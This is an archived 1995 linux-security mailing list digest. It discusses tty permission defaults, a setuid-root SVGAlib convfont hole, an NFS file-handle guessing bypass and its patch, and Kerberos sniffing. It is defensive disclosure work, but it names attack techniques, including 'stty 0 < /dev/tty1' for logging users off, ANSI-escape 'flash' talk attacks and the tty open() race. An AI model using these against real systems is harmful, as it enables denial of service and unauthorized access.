to > type your password over the network. If correctly implemented. Check the CIAC alert on kerberized telnet ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 9 Mar 1995 14:18:00 +0000 (GMT) Subject: Re: Secure setup for file transfer > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). Anything I post will be full disclosure. convfont is an oversite, its a non svgalib program that got set setuid root like the rest when it should not be. Alan ------------------------------ From: Marek Michalkiewicz Date: Thu, 9 Mar 1995 15:39:37 +0100 (MEZ) Subject: Re: Safe NFS outline > Be aware of two things: The RFC MD5 implementation can't be mixed with > GNU code (but can be redone - and an assembler one ought to touch 2Mb/second) There is a public domain MD5 implementation. Found in util-linux-2.1: /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. [...] */ - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: Marek Michalkiewicz Date: Thu, 9 Mar 1995 15:13:21 +0100 (MEZ) Subject: tty permissions OK, since some people here don't like s****w passwords, I'm now going to talk about something else. :-) I see one security problem with the standard util-linux login. When the user logs in, the permissions of this user's tty are set to 0622. This allows anyone to write anything, including some dangerous control codes (black text on black background, possibly redefine keys on some terminal types) or "talk: respond with: talk [email protected]" (probably wouldn't work but you get the idea). The reason is probably that "most Linux systems are single-user systems". But I think it would be better if the permissions were set to 0620, group "tty". Programs like write should be setgid tty and filter out control characters (write in util-linux already does this). In fact, the code to set right tty permissions exists in util-linux login. You only need to change a few #ifdefs and change mesg so it can set right permissions. Are there any good reasons it has not been done yet? Regards, - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: Tom Dunigan 576-2522 Date: Thu, 9 Mar 1995 08:16:09 -0500 Subject: Re: Shadow discussions ... don't forget skey [mod: quoting trimmed --okir] > >These credentials can then be used by a Kerberized telnet (or rlogin) >client to securely login to a remote machine without ever needing to >type your password over the network. > NOT. The assumption was logins from "remote" (uncontrolled and un-kerberized) sites. Say you want to login in to your Kerberized client from the floor of Interop or from a terminal server (or from a computer at a location without Kerberos), your password will go in clear text over the net .... bad news. Talk to Jeff Schiller ([email protected]) about his solution that combines skey and Kerberos, making a clever use of Public Key in the process. ------------------------------ From: [email protected] (GLAUDE DAVID) Date: Thu, 9 Mar 1995 15:10:01 +0100 (MET) Subject: SvgaLib (was Re: Secure setup for file transfert) Mr Martin J Hargreaves said: > On 7 Mar 1995, Panzer Boy wrote: > > OB linux-security, SVGAlib with convfont being SUID root. Allows you to > > write any files as root. > > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). > > [Mod: We would prefer to focus on security enhancement and "hole" > avoidance, detection, and fixes, rather than methods of exploitation] Well, is there any way to secure program ussing svgalib. It seems that to access vga io port you need some priviledge wich is an increase of security (not anybody should be able to turn you screen upside down). But because of the lack of security level in Unix (root or not root), all program for Vga have to be run as root (I always log as root but don't do as I do) or to be setuid root wich is a potential risk. (see above) Is there any other solution than setuid root thoses programs (like gs with the vga console driver). Shouldn't a solution be search ? - -- GLAUDE David [email protected] [Glu] I speak French: "Linux est l'unique Unix de Linus." ------------------------------ From: "Theodore Ts'o" Date: Thu, 9 Mar 1995 13:09:22 +0500 Subject: Re: Shadow discussions ... don't forget skey Date: Thu, 9 Mar 1995 08:16:09 -0500 From: Tom Dunigan 576-2522 NOT. The assumption was logins from "remote" (uncontrolled and un-kerberized) sites. Say you want to login in to your Kerberized client from the floor of Interop or from a terminal server (or from a computer at a location without Kerberos), your password will go in clear text over the net .... bad news. But then you're not using Kerberos to login to your workstation. You're using plain telnet, or plain rlogin. My comments still apply that if you're using Kerberos the way that it's intended to be used, your Kerberos password is not subject to sniifer attacks. Your characterization of Kerberos as being subject to sniffer attacks is what I objected to. If you expose your Kerberos password in a non-Kerberos context, then of course it's vulnerable to attacks. There's nothing magic about the fact that a password which is used with Kerberos that will protect it if you expose it in a stupid fashion. Talk to Jeff Schiller ([email protected]) about his solution that combines skey and Kerberos, making a clever use of Public Key in the process. I'm very well aware of his proposed solution. Jeff and I work together at MIT. I'm on member of Security Area Directorate within the IETF, and Jeff is the Security Area Director, so he organized the SA Directorate. FYI, I'm also managing the Kerberos development at MIT. - Ted [Mod: Let's please not get into an exhaustive debate/discussion on Kerberos itself here, unless it relates somehow to Linux-specific implementations. Thanks. --Jeff.] ------------------------------ End of linux-security-digest V1 #5 ********************************** linux-security-digest/1995/v01.n006100664 1767 1767 46700 5730035611 16053 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #6 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 10 March 1995 Volume 01 : Number 006 Re: tty permissions Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: tty permissions Re: tty permissions Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: Secure setup for file transfer Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: Yet another NFS hole ---------------------------------------------------------------------- From: Jeff Uphoff Date: Thu, 9 Mar 1995 14:01:43 -0500 Subject: Re: tty permissions "MM" == Marek Michalkiewicz writes: MM> I see one security problem with the standard util-linux login. When MM> the user logs in, the permissions of this user's tty are set to 0622. MM> [Explanation as to why this is A Bad Thing.] MM> But I think it would be better if the permissions were set to 0620, group MM> "tty". Programs like write should be setgid tty and filter out control MM> characters (write in util-linux already does this). Note that since this appears only to affect 'login' tty's ('xterm' sets perm's correctly to 0620, group "tty"), if a person is running X on the system then the util's such as 'write' and 'wall' need to be setgid anyway to work as intended. (At least in "stock" Slackware this is the case...) MM> In fact, the code to set right tty permissions exists in util-linux login. MM> You only need to change a few #ifdefs and change mesg so it can set right MM> permissions. Are there any good reasons it has not been done yet? I hadn't noticed the interesting (Slackware-based) 'mesg' permission-setting before (this is an 'xterm' tty): juphoff.tarsier<501> tty /dev/ttyp1 juphoff.tarsier<502> ls -l /dev/ttyp1 crw--w---- 1 juphoff tty 4, 193 Mar 9 13:50 /dev/ttyp1 juphoff.tarsier<503> mesg Is n juphoff.tarsier<504> mesg y juphoff.tarsier<505> ls -l /dev/ttyp1 crw--w--w- 1 juphoff tty 4, 193 Mar 9 13:51 /dev/ttyp1 juphoff.tarsier<506> mesg n juphoff.tarsier<507> ls -l /dev/ttyp1 crw------- 1 juphoff tty 4, 193 Mar 9 13:51 /dev/ttyp1 It might be worth passing the word to distribution maintainers that the util's should probably be compiled more "restrictively" if there is such an option and it isn't (or doesn't become) the default. (Are there any conflicting views on this out there?) I know Marc Ewing (of Red Hat) is on this channel, but I don't know if any other distribution maintainers are. If you're a distribution maintainer, could you please drop us a line? ("[email protected]" is best, since that's both Olaf and me.) It'd be nice to know who in that field is on here and who isn't. Thanks much! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Panzer Boy) Date: 9 Mar 1995 14:51:09 -0500 Subject: Re: tty permissions Marek Michalkiewicz ([email protected]) wrote: : I see one security problem with the standard util-linux login. When : the user logs in, the permissions of this user's tty are set to 0622. Simple solution, put in your global login script "mesg n". 0622 is standard for most unixes, though this doesn't mean it has to be for you. Looking at getting a flash proofed talkd is something else you can look at, if there's enough interest I'll put mine up for people. (btw, flash is a program that sends talk requests to other users in the form of ansi escapes to clear the screen, or do things like initiating a zmodem send to trigger users auto-d/l software.) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] Date: Thu, 9 Mar 1995 21:37:00 +0100 (MET) Subject: Re: SvgaLib (was Re: Secure setup for file transfert) > > Mr Martin J Hargreaves said: > > Well, is there any way to secure program ussing svgalib. > It seems that to access vga io port you need some priviledge wich is an > increase of security (not anybody should be able to turn you screen upside > down). But because of the lack of security level in Unix (root or not root), > all program for Vga have to be run as root (I always log as root but don't > do as I do) or to be setuid root wich is a potential risk. (see above) > Is there any other solution than setuid root thoses programs (like gs with > the vga console driver). Shouldn't a solution be search ? I have on several occasions mailed with Linus about this. What I suggested is the following user appearance. linux % ls -l /dev/vga-fb crw-rw---- 1 root vga 1, 11 Jul 18 1994 /dev/vga-fb linux % cat /proc/memdevs/11 000a0000 00020000 linux % ls -l /proc/memdevs/11 - -rw-r--r-- 1 root root 0 Mar 9 21:23 /dev/memdevs/11 linux % su Password: linux # cat /proc/memdevs/12 00000000 00000000 linux # echo 00f00000 00100000 > /proc/memdevs/12 linux # cat /proc/memdevs/12 00f00000 00100000 linux # mknod /dev/mccd_card c 1 11 linux # chown wolff /dev/mccd_card linux # chmod 700 /dev/mccd_card linux # ls -l /dev/mccd_card crw-rw---- 1 root vga 1, 12 Mar 9 1995 /dev/mccd_card linux # exit linux % id uid=10030(wolff) gid=1000(users) groups=1000(users) linux % mccd_program /dev/mccd_card mccd> doit done. mccd> exit Bye linux % Similar userinterface would go for the io-space devices. Opening an io-space device would either allow any user to use ioperm, or would immediately enable the io permissions a-la ioperm. Linus seems not to be enthousiastic about this, I implemented it a few times and lost the patches. When he promises he likes the idea, I'll recode it from scratch (it isn't that much work). We might make a little petition here in this group and "beg" him to put it in...... Roger Wolff. ------------------------------ From: Joe Fomenko Date: Thu, 9 Mar 1995 15:17:22 +0000 Subject: Re: tty permissions On Thu, 9 Mar 1995, Jeff Uphoff wrote: > "MM" == Marek Michalkiewicz writes: > MM> I see one security problem with the standard util-linux login. When > MM> the user logs in, the permissions of this user's tty are set to 0622. > MM> [Explanation as to why this is A Bad Thing.] [snip] > Note that since this appears only to affect 'login' tty's ('xterm' sets > perm's correctly to 0620, group "tty"), if a person is running X on the > system then the util's such as 'write' and 'wall' need to be setgid > anyway to work as intended. (At least in "stock" Slackware this is the > case...) > > MM> In fact, the code to set right tty permissions exists in util-linux login. > MM> You only need to change a few #ifdefs and change mesg so it can set right > MM> permissions. Are there any good reasons it has not been done yet? > > I hadn't noticed the interesting (Slackware-based) 'mesg' > permission-setting before (this is an 'xterm' tty): Hmmm, not with my setup (Yggdrasil, Summer '94 CD...) bash$ tty /dev/ttypa bash$ ls -l /dev/ttypa crw--w--w- 1 joef user 4, 202 Mar 9 15:10 /dev/ttypa bash$ mesg Is y bash$ mesg n bash$ !ls ls -l /dev/ttypa crw------- 1 joef user 4, 202 Mar 9 15:11 /dev/ttypa bash$ mesg y bash$ !ls ls -l /dev/ttypa crw--w--w- 1 joef user 4, 202 Mar 9 15:11 /dev/ttypa Hmmm, not group tty, either :( Looks like I'll have to roll my own... > It might be worth passing the word to distribution maintainers that the > util's should probably be compiled more "restrictively" if there is such It might indeed :) ===================================================== = Joe Fomenko - Willow Grove, PA = = IC CAD,CAE Consultant = = [email protected] = ===================================================== ------------------------------ From: Rik Faith Date: Thu, 9 Mar 1995 16:15:57 -0500 Subject: Re: tty permissions On Thu 9 Mar 1995 14:01:43 -0500, Jeff Uphoff wrote: > "MM" == Marek Michalkiewicz writes: > > MM> I see one security problem with the standard util-linux login. When > MM> the user logs in, the permissions of this user's tty are set to 0622. > MM> [Explanation as to why this is A Bad Thing.] This was done this way in util-linux because it is the standard way of doing things in the unix world. The trade-off seems to be between having a writable tty when you want 'mesg y' and having a bunch of utilities setgid to tty (which might, in itself, be a security risk, but these utilities are fairly simple). I'll look into changing this for the next util-linux release. ------------------------------ From: Kyriakos Georgiou Date: Thu, 9 Mar 1995 16:45:19 -0500 (EST) Subject: Re: tty permissions > 0622 is standard for most unixes, though this doesn't mean it has to be > for you. Looking at getting a flash proofed talkd is something else you > can look at, if there's enough interest I'll put mine up for people. flash proofed talkd (I have used if for months now) is at: ftp.procyon.com:/pub/Linux regards, - -- Kyriakos Georgiou [email protected] ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 10 Mar 1995 01:38:39 +0100 (MET) Subject: Yet another NFS hole Hello all, Thomas Koenig's post about NFS file handle spoofing got me thinking. After two hours of work, I've come up with a small program that lets me mount our domain hub's file system without having contacted mountd. I can completely circumvent authentication by ``guessing'' the file handle. This does not involve packet spoofing; you only have to guess what device the root file system is on. I dunno if this has been known before, but it shocked me a little. I can hand out the code to devlopers who would like to take a look at it. I'm not going to post it, though, for obvious reasons. Currently, I can see no fix for this except keeping track of client mounts somehow. Thomas' proposal may be a good idea for a long-term solution; but maybe a quick hack that makes guessing a little harder would be okay for starters. Any suggestions? Regards, Olaf [And before anyone tries this on our domain's hub: I've killed our nfsd:)] - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: Thomas Briggs Date: Thu, 9 Mar 1995 17:31:25 -0500 (EST) Subject: Re: tty permissions On Thu, 9 Mar 1995, Marek Michalkiewicz wrote: > In fact, the code to set right tty permissions exists in util-linux login. > You only need to change a few #ifdefs and change mesg so it can set right > permissions. Are there any good reasons it has not been done yet? > This is one of the useful features of shadow passwords, it does let you change this to any mode you want (for instance, on this system, I have it set for 0600, only a user has their own TTY, even another user of the group can't get to it... and I have all my /usr/bin utils chmod 4777 :-) [Mod: Sounds like somebody here used to work for Microsoft. :)~ --Jeff.] Actually, realistically, along with the tty's being more public than I like, I've noticed a bunch of devices are freely accesible to users... I'll try to make a list of the ones I think are kinda not logical. Also, there are some utils and directories that I think ought to be protected by some better security, such as /sbin and /usr/sbin, I would not even like users seeing what was in these dirs... I've got them chmod'ed out of the user space as well as out of root's profile, etc, etc. At least this way, if a user does happen to get to be root or uid=0, they won't have a clear picture as to whats in those directories. +-----------+ "Cutter has crashed, again!" - Scott Hooper, 1994 |Tom Briggs +----------------------------+ Cutter: probably the most heavily |Shippensburg University of Pennsylvania | loaded i486-33 machine ever made. |primary address: [email protected]+---------+ Linux 1.1.94, 600 users |secondary address: [email protected]| telnet,Aftp,gopher,http +--------------------------------------------------+ nfs,identd,pine,rtin... - -- [Mod: Yes, I realize that if a user should "happen to get to be root," odds are that they know full well where to find the sbin-type util's and how to use them if they want. Let's not start a thread over this... - --Jeff.] ------------------------------ From: Elias Levy Date: Thu, 9 Mar 1995 15:11:26 -0800 (PST) Subject: Re: Secure setup for file transfer On Wed, 8 Mar 1995, Mr Martin J Hargreaves wrote: > > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). > > M. SuperProbe, X, SVGAlib, and other programs shuld not be run setuid root. This allows anyone telneted into the system to screw up your console. root should install these programs, and if your logged in the console as someone other than root you should have permissions to start X, etc. Therefore the setuid bit in this programs are usually not needed. [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: Rik Faith Date: Thu, 9 Mar 1995 21:44:00 -0500 Subject: Re: Secure setup for file transfer On Thu 9 Mar 1995 15:11:26 -0800, Elias Levy wrote: > SuperProbe, X, SVGAlib, and other programs shuld not be run setuid root. > This allows anyone telneted into the system to screw up your console. > root should install these programs, and if your logged in the console as > someone other than root you should have permissions to start X, etc. > Therefore the setuid bit in this programs are usually not needed. Can you explain this? X must run as root to get access to the underlying hardware (e.g., via the iopl(2) or ioperm(2) calls). Are you using a suid'd wrapper to check for a console login in order to get X running as root without using the setuid bit on the X binary itself? This seems like a bit of overprotectivity to me. If I'm logged in at the console (not running X), and someone starts X, I can just switch VC's. Just a note on tty security in general. I haven't had my tty "screwed up" by someone in over 10 years -- and I really don't see this issue as a big security risk. In general, it is very hard to prevent denial of service attacks under unix, especially when any user can use up all the available memory or many of the process slots on the machine. Maybe people are seeing these sorts of attacks in undergraduate computing environments or some other special situations? Maybe sysadmins in those situations should implement better social controls and disciplinary actions. I know that if someone in our academic computing environment tried this juvenile tty crap, they'd hear from several sysadmins, a few professors, and a bunch of students: this type of antisocial behavior would simply not be tolerated. I'm mostly concerned with attacks that will allow an ordinary user to become root; or that will allow a non-user to gain access to my system or its files (e.g., network attacks). ------------------------------ From: Mr Martin J Hargreaves Date: Fri, 10 Mar 1995 05:33:35 +0000 (GMT) Subject: Re: SvgaLib (was Re: Secure setup for file transfert) On Thu, 9 Mar 1995 [email protected] wrote: > > > > Mr Martin J Hargreaves said: > > > > Well, is there any way to secure program ussing svgalib. > > It seems that to access vga io port you need some priviledge wich is an > > increase of security (not anybody should be able to turn you screen upside > > down). But because of the lack of security level in Unix (root or not root), > > all program for Vga have to be run as root (I always log as root but don't > > do as I do) or to be setuid root wich is a potential risk. (see above) > > Is there any other solution than setuid root thoses programs (like gs with > > the vga console driver). Shouldn't a solution be search ? I didn't say all that. Mind you it's kind of nice to be the first person wrongly attributed on a mailing list.... Cheers, M. ObLinuxSecurity. Would other people find it useful if someone posted the output of checkers like COPS and TIGER for unmodifies Linux distributions. I think they'd be quite interesting reading. My "locked down" box threw up quite a bit of worrying stuff from a TIGER run - I may try it on my (more or less) untweaked home system.... - ---------------------------------------------------------------- | Martin Hargreaves, [email protected]| | Undergraduate Computational Chemist | | WWW Server Admin http://www.chem.surrey.ac.uk| - ---------------------------------------------------------------- ------------------------------ From: [email protected] Date: Fri, 10 Mar 1995 08:33:45 +0100 Subject: Re: tty permissions : > "MM" == Marek Michalkiewicz writes: : > : > MM> I see one security problem with the standard util-linux login. When : > MM> the user logs in, the permissions of this user's tty are set to 0622. : > MM> [Explanation as to why this is A Bad Thing.] : This was done this way in util-linux because it is the standard way of : doing things in the unix world. The trade-off seems to be between having a : writable tty when you want 'mesg y' and having a bunch of utilities setgid : to tty (which might, in itself, be a security risk, but these utilities are : fairly simple). : I'll look into changing this for the next util-linux release. I don't think mesg and family should be suid anything, and I agree that tty permissions should be 0600 upon login. People that want to allow messages can put "mesg y" in their .profile. (I, and most people I know, have had "mesg n" in .profile the past twenty years or so; giving people write permission to your tty alows them to log you off ("stty 0 < /dev/tty1"), or do very obscure things with tty modes and flags. Even when they have no malicious intent it is very annoying to get some message across the output on your screen.) Andries ------------------------------ From: Elias Levy Date: Fri, 10 Mar 1995 00:55:22 -0800 (PST) Subject: Re: Yet another NFS hole [mod: quoting trimmed. --okir] On Fri, 10 Mar 1995, Olaf Kirch wrote: > Thomas Koenig's post about NFS file handle spoofing got me thinking. > After two hours of work, I've come up with a small program that lets > me mount our domain hub's file system without having contacted mountd. This is an old bug. You can use nfsbug to find if you server has this and other nfs related bugs. (BTW people should really take a look at old bugtraq archives.) The code is been out for ages so no need to be hidding it. You can find it at http://underground.org/tools/unix/audit/ I dont belive you need to keep track of clients with mounted file systems, just make the handles more randos, but i'am no nfs expert to I'll shut up :) Elias ------------------------------ End of linux-security-digest V1 #6 ********************************** linux-security-digest/1995/v01.n007100664 1767 1767 55545 5730352062 16065 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #7 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 11 March 1995 Volume 01 : Number 007 Re: Yet another NFS hole Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: tty permissions Re: Safe NFS outline Re: tty permissions Re: tty permissions Re: tty permissions Re: tty permissions Re: tty permissions NFS patch ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Fri, 10 Mar 1995 11:41:28 +0100 (MET) Subject: Re: Yet another NFS hole Elias Levy wrote: > > I dont belive you need to keep track of clients with mounted file > systems, just make the handles more randos, but i'am no nfs expert to > I'll shut up :) The problem is, NFS does not let you change your randomization unless you are absolutely sure no other machine currently has an NFS mount from you. You can't even guarantee this at boot time. So, you must randomize all fh's in the same way, now and forever. One way to put this to work would be to use a single secret key with which you encrypt all file handles. But once you've gone that far, you can also throw in per-mount authentication:) Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: [email protected] Date: Fri, 10 Mar 1995 13:02:05 +0100 (MET) Subject: Re: tty permissions > > (I, and most people I know, have had "mesg n" in .profile the past > twenty years or so; giving people write permission to your tty > alows them to log you off ("stty 0 < /dev/tty1"), or do very obscure You correctly indicate that stty operates on its INPUT. Giving people write permission on your tty doesn't affect this. Roger. ------------------------------ From: Fabrizio Giudici Date: Fri, 10 Mar 1995 13:29:22 +0100 Subject: Re: SvgaLib (was Re: Secure setup for file transfert) On Thu, 9 Mar 1995, GLAUDE DAVID wrote: > Mr Martin J Hargreaves said: > > Well, is there any way to secure program ussing svgalib. > It seems that to access vga io port you need some priviledge wich is an > increase of security (not anybody should be able to turn you screen upside > down). But because of the lack of security level in Unix (root or not root), > all program for Vga have to be run as root (I always log as root but don't > do as I do) or to be setuid root wich is a potential risk. (see above) > Is there any other solution than setuid root thoses programs (like gs with > the vga console driver). Shouldn't a solution be search ? > > -- > GLAUDE David [email protected] [Glu] > I speak French: "Linux est l'unique Unix de Linus." > I thought a possible solution could be to create a daemon (perhaps named vgad?) that is able to process very-low-level queries like "write a bunch of registers to vga" and so on. Such a daemon could also implement locking mechanism to prevent from simultaneous VGA access more than one program (sometimes I unintentionally got X locked up by mistakenly running a program based on a library of mine, similar to svgalib, while X was running). I think this approach could be better than implementing special devices like /dev/vga or similar, because with a daemon no modifications to the kernel are required (and I think it's a good thing to keep the kernel as "light" as possible). This is my idea. I'm an relatively-experienced programmer, but I've still *lots* of things to learn about UNIX/LINUX programming, so I really don't know if there is some tech problem in my approach. So please don't flame ;) Ciao. .---------------------------------------------------------------------------. | Fabrizio Giudici ([email protected]) | | | WWW-PAGE: < work in progress > | Style distinguishes | | PHONE: +39 10 3532163/3532780/3532781 | excellence between | | Dept. of Biophys. and Elect. Eng. (DIBE) | accomplishment. | | University of Genoa - ITALY - EUROPE - EARTH | | |---------------------------------------------------------------------------| | "For a succesful technology, reality must take precedence over public | | relations, for Nature cannot be fooled." - Richard P. Feynman | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. ------------------------------ From: [email protected] (Thomas Koenig) Date: Fri, 10 Mar 1995 13:33:22 +0100 (MET) Subject: Re: Yet another NFS hole > > Thus spake thou, Alan Cox: > > > > SunOS was changed about 4.1.x to encrypt file handles. It doesn't > > work very much better because you can spoof a host and issue > > open requests easily, but its better than nothing. Do they actually trust the machinename field of the struct auth_unix? ARGH - at least they could disregard that, and use the IP address instead (not perfect, as we all know, but still better). [...] > Mount tracking turns out to be really ugly, BTW, because you have to > track client state. Thomas' idea of limiting the number of mounts a > client can have on the same directory is okay, but you still have to > have a way to expire old mount records after a client crash. I'd recomment expiring the oldest one. Chances are the client crashed, anyway. ------------------------------ From: Marek Michalkiewicz Date: Fri, 10 Mar 1995 16:57:42 +0100 (MEZ) Subject: Re: tty permissions > This was done this way in util-linux because it is the standard way of > doing things in the unix world. The trade-off seems to be between having a Hmmm... i17sunA:~$ mesg n i17sunA:~$ ls -lg `tty` crw------- 1 marekm tty 20, 2 Mar 10 16:54 /dev/ttyp2 i17sunA:~$ mesg y i17sunA:~$ ls -lg `tty` crw--w---- 1 marekm tty 20, 2 Mar 10 16:54 /dev/ttyp2 i17sunA:~$ ls -lg /usr/bin/write - -rwxr-sr-x 1 root tty 16384 Oct 11 1990 /usr/bin/write i17sunA:~$ uname -a SunOS i17sunA 4.1.1 1 sun4c > I'll look into changing this for the next util-linux release. Thanks! - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: [email protected] (Panzer Boy) Date: 10 Mar 1995 12:24:27 -0500 Subject: Re: Secure setup for file transfer Rik Faith ([email protected]) wrote: : implement better social controls and disciplinary actions. I know that if : someone in our academic computing environment tried this juvenile tty crap, : they'd hear from several sysadmins, a few professors, and a bunch of : students: this type of antisocial behavior would simply not be tolerated. This whole statement is based on the fact that you could figure out who had done it. This is not always possible, and preventing it from being able to happen in the first place requires very little activity on the part of the sysadmin. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Alan Cox) Date: Fri, 10 Mar 1995 18:03:52 +0000 (GMT) Subject: Re: tty permissions > Simple solution, put in your global login script "mesg n". No people just stick open() in a tight loop and beat the mesg n then hold the file descriptor. There used to be an even worse hole where vhangup() was used wrongly and on old BSD you could beat the login to being controlling tty then stuff characters into a users input stream. You have to set the permissions at the beginning. Alan ------------------------------ From: [email protected] (Thomas Koenig) Date: Fri, 10 Mar 1995 21:21:02 +0100 (MET) Subject: Re: Safe NFS outline Alan Cox wrote: > and in the USA packet authentication (like this) is subject to a totally > bogus Novell software patent, so you'd have to do a no US import license ( > the GPL permits this in these cases). Well, at least keeping track of who's mounted what ought to be doable without stamping on any "�$"�$%$ US Software patents; this will only be somewhat vulnerable to a legitimate client trying to overstep its authority. I have to admit to not knowing anything about the firewalling patches, but could they be used to restrict receiving packets to port 2049 to a (somewhat more trusted) subdomain? This might be a good start for people who are stuck with the current situation... ------------------------------ From: [email protected] (Panzer Boy) Date: 10 Mar 1995 12:31:23 -0500 Subject: Re: tty permissions Thomas Briggs ([email protected]) wrote: : Also, there are some utils and directories that I think ought to be : protected by some better security, such as /sbin and /usr/sbin, I would : not even like users seeing what was in these dirs... I've got them : chmod'ed out of the user space as well as out of root's profile, etc, : etc. At least this way, if a user does happen to get to be root or : uid=0, they won't have a clear picture as to whats in those directories. This is starting to follow the security through obscurity thing a bit. It's nice to prevent people from running fdisk on your system, or dip. But if anyone can compile the damn thing, and upload a static binary to your system, you're not getting much security from it. (Some, but not much) About the devices, these need to be looked at, and also the /proc tree needs to be clean. I just recently noticed that /proc/net/ip_* are all 644, which is ok, though having unprivledged users reading your ip_accounting information may not be what you had in mind when you started using it... :) (Is there an easy way to change these defaults privs? A chmod changes it for only a sort period (next update I assume).) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Carlos Carvalho Date: Fri, 10 Mar 1995 13:13:32 -0300 Subject: Re: tty permissions Marek Michalkiewicz ([email protected]) wrote on 9 March 1995 15:13: >I see one security problem with the standard util-linux login. When >the user logs in, the permissions of this user's tty are set to 0622. >This allows anyone to write anything, including some dangerous control >codes [deleted] >But I think it would be better if the permissions were set to 0620, group >"tty". Programs like write should be setgid tty and filter out control >characters (write in util-linux already does this). Agreed. Talk then must also be like this. On the other hand, one could argue that the user can always change the permissions of /dev/tty... I have a related question. Yesterday I was at the console, and someone else "telneted" from a dos machine. He mistakenly called startx, and the X server did start, changing the CONSOLE, where I was, from my vc to the usual X vc (7, here). How can this be avoided? Do we have to remove the permission from all the tty's? Carlos ------------------------------ From: Jeff Uphoff Date: Fri, 10 Mar 1995 16:09:47 -0500 Subject: Re: tty permissions "PB" == Panzer Boy writes: PB> This is starting to follow the security through obscurity thing a bit. PB> It's nice to prevent people from running fdisk on your system, or dip. PB> But if anyone can compile the damn thing, and upload a static binary to PB> your system, you're not getting much security from it. (Some, but not much) Of course, general users that have downloaded something like 'dip' or 'fdisk' can't do much with it if the permissions on the devices won't permit it, nor can they set up SLIP unless they're root. ('dip' will only be a crude dial-in terminal program to them in that case...) "Hiding" /sbin and /usr/sbin seems to me like nothing more than making the doormat half an inch higher hoping to deter bandits from entering the house... - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Kevin Buhr) Date: Fri, 10 Mar 95 19:13 CST Subject: Re: tty permissions | You correctly indicate that stty operates on its INPUT. | | Giving people write permission on your tty doesn't affect this. "stty" merely makes IOCTL calls on a file descriptor which happens to be its standard input. You can easily roll your own program to make these same calls on a file descriptor opened for output. (In fact, you could simply run "stty" with its standard input directed to a handle opened for write access, though presumably you'd have to write a program to do that anyway, so...) Anyway, the important thing is whether or not the kernel cares about read or write permissions on handles passed in "ioctl" calls. In fact, it doesn't, so having your "tty" world-readable does open you up to all sorts of attacks. Of course, it's also true that setting the baud rate of a Linux console won't work and setting the baud rate of a Linux "pty" to 0 doesn't have any effect, at least in kernel version 1.2.0. So, this particular attack isn't an issue. Kevin ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 10 Mar 1995 21:26:58 -0500 Subject: Re: tty permissions Marek Michalkiewicz ([email protected]) wrote on 9 March 1995 15:13: > >But I think it would be better if the permissions were set to 0620, group > >"tty". Programs like write should be setgid tty and filter out control > >characters (write in util-linux already does this). > Agreed. Talk then must also be like this. On the other hand, one could > argue that the user can always change the permissions of /dev/tty... The semantics of /dev/tty don't always work for what one wants to do through one's login terminal. I've run into problems with that in the past. If I try hard enough, I'll be able to remember what. [;-)] If a program needs to affect the user's login terminal, it needs to have some permissions on it. I've had problems when I've logged in as "joe" and su'ed to (e.g.) "bin": but "bin" has no permissions on "joe"'s login terminal. In general, it is best to see if you can make a program setgid-to-some group, than making everything setuid-root [horrors!]. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: [email protected] (Olaf Kirch) Date: Sat, 11 Mar 1995 15:01:37 +0100 (MET) Subject: NFS patch - -----BEGIN PGP SIGNED MESSAGE----- Hello all, Here's a patch to nfsd that should fix the hole I've reported earlier. It's against a clean nfs-server-2.0 source. Could you please check if the patch breaks anything for you? It works for me, but I wouldn't want to release it publicly without some sort of double-check. It does the following things: * authenticate fh's on every request. Support for it was there, but didn't work. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. As these functions are not yet in libc-4.6.27, there's a small assembler file that implements them. * Implement root_squash and no_root_squash mount options. I'll upload a full source to linux.nrao.edu later this day and announce it on linux-alert. Alongside with it, I'll upload the source to the sample program that demonstrates the bug. Cheers, Olaf - - ------------------------- SNIP 